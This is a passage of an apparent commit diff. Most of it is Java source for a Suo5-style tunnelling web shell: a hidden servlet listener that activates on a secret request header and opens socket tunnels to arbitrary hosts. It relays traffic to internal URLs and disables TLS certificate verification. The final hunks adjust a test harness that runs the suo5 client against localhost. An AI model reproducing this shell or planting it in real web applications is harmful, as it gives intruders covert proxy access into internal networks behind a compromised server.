throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
String contentType = request.getContentType();
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
}
@@ -31,13 +31,13 @@ public class Suo5Manager {
public static void main(String[] args) {
System.out.println(suo5Command);
boolean test = test("http://localhost:8081/app/test", "test");
boolean test = test("http://localhost:32953/app/test", "test");
System.out.println(test);
}
public static boolean test(String targetUrl, String ua) {
ProcessBuilder processBuilder = new ProcessBuilder(
suo5Command, "-t", targetUrl, "--timeout", "5", "-ua", ua
suo5Command, "-t", targetUrl, "--timeout", "5", "-ua", ua, "-H", "Referer: " + targetUrl
);
processBuilder.redirectErrorStream(true);
ExecutorService executor = Executors.newSingleThreadExecutor();
+1
View File
@@ -9,6 +9,7 @@ version = ''
java {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {